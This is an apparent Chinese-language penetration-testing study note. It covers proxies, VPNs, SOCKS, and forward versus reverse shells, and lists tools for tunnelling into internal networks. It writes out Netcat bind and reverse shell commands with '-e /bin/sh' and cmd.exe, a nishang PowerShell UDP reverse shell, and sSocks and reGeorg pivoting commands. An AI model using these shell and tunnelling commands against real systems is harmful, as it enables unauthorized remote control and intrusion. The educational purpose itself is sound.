一、代理服务器和VPN
1.工作原理
(1)代理的工作原理是:
由代理服务器自己去访问你的目标网站,并加载它的内容,然后再把这些加载过的内容传递到你的窗口上。这样就相当于你在浏览目标网站了。因此代理经常被叫做“梯子”或者“桥”。
(2)VPN的工作原理:
你传输的数据由VPN软件加密并传递给VPN服务器,这样传输的数据对截获者来说是不可读的(隧道技术)。
注:两者之间的主要区别在于,代理是为基本功能而设计的,例如绕过地理限制,但它们并不那么安全。 另一方面,VPN 加密和保护所有数据。 虽然 VPN 与代理不同,但它们可以一起使用以增强匿名性。
2.代理服务器类型
(1)HTTP代理:
能够代理客户机的HTTP访问,我们在浏览网页,下载数据时就是用http代理。
(2)HTTPS代理:
HTTPS协议就是SSL+HTTP协议建立的,可以对传输过程加密的网络协议,比HTTP协议传输文件更加安全。HTTPS和SSL支持使用X.509数字认证,如果需要的话用户可以确认发送者是谁。
(3)SOCKS代理:
采用SOCKS协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。
Socks全能代理,其标准端口为1080,支持多种协议,包括http、ftp请求及其它类型的请求。Socks 代理与应用层代理、 HTTP 层代理不同,Socks代理只是简单地传递数据包,而不必关心是何种应用协议,所以它更快更简便。如果您在企业网或校园网上,需要透过防火墙或通过代理服务器访问Internet就可能需要使用SOCKS。它分socks 4 和socks 5两种类型。这是一种通用的代理服务器,在网络通信中扮演着一个请求代理人的角色。在内网渗透中,通过搭建sOCKS代理,可以与目标内网主机进行通信,避免多次使用端口转发。
SOCKS4:只支持TCP协议(即传输控制协议)
SOCKS5:既支持TCP协议又支持UDP协议(即用户数据包协议)
3.代理方式
1.全局代理:
电脑上的大部分网络请求都要经过魔法上网的工具
2.规则代理(PAC):
这个模式是根据PAC文件,来判断请求是否要经过代理。
3.直连代理:
单独设置某个程序的代理信息与代理服务器直连。
4.实现工具以及命令
首先学会以攻击者思维考虑正反向连接。
正向连接:
正向连接就是受控端主机(目标机)监听一个端口,由控制端主机(攻击机)主动去连接受控端主机的过程,适用于受控主机(目标机)具有公网IP的情况下。Attacker和 Victim主机都具有公网IP,Attacker可以直接通过IP地址访问到Victim,所以能够使用正向连接来控制Victim。
反向连接:
(攻击机)监听一个端口,由受控端主机(目标机)反向去连接控制端主机的过程,适用于受控端主机(目标机)没有公网IP的情况。Victim是一台位于内网,并且没有公网IP的主机,Attacker无法直接通过IP地址访问到Victim。所以此时需要在Attacker上监听一个端口,让Victim去反向连接Attacker,从而实现对Victim 的控制
在渗透测试中,正向连接往往受限于受控主机上的防火墙屏蔽及权限不足等情况,而反向连接可以很好地突破这些限制。
1.工具名:Netcat
简介:
一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。透过使用TCP或UDP协议的网络连接去读写数据。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。支持的代理协议有”4”(SOCKS v.4),”5”(SOCKS v.5),”connect”(HTTPS proxy).默认使用SOCKS v.5。
常用命令:
(1)正向连接:
目标机监听(/bin/sh可理解为/bin/bash的软连接):nc lvvp [port] -e /bin/sh
攻击机用nc连接:nc [ip] [port]
(2)反向连接:
攻击机监听:nc -lvvp [port]
目标及反弹shell:nc -t -e c:winntsystem32cmd.exe [ip] [port]
2.工具名:nishang
简介:
Nishang是一款针对PowerShell的渗透工具。nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。(可以使用Get-Host命令来查看powershell当前的版本)Invoke-PowerShellUdp Powershell交互式正向连接或反向连接shell,基于UDP协议。此外Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。(不演示)
常用命令:
(1)正向连接(基于UDP,nc命令要修改):
目标机用nishang工具监听:Invoke-PowerShellUdp -blind -port 86
攻击机用nc进行连接:nc -nvu 192.168.190.159 86
攻击机进入powershell的nishang界面
(2)反向连接
攻击机监听:nc -lup 86
目标机反弹shell:Invoke-PowerShelludp -Reverse -IPADDress [ip] -port 86
3.工具名:reGeorg
工具地址:https://github.com/sensepost/reGeorg
简介:
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
4.工具名:sSocks
工具地址:http://sourceforge.net/projects/ssocks/
简介:
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14下载解压后,执行命令编译。
./configure && make
进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:
nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口
公网主机上执行:
./rcsocks -l 4444 -p 5555 -vv
内网主机上执行:
./rssocks –vv –s 公网主机ip:5555
这时本地主机可以通过访问公网主机的 4444 端口访问内网主机。
5.frp
工具地址:https://github.com/fatedier/frp/releases
frp 是⼀个开源、简洁易用、高性能的内网穿透和反向代理软件,支持tcp, udp, http, https等协议。
frp实验:frp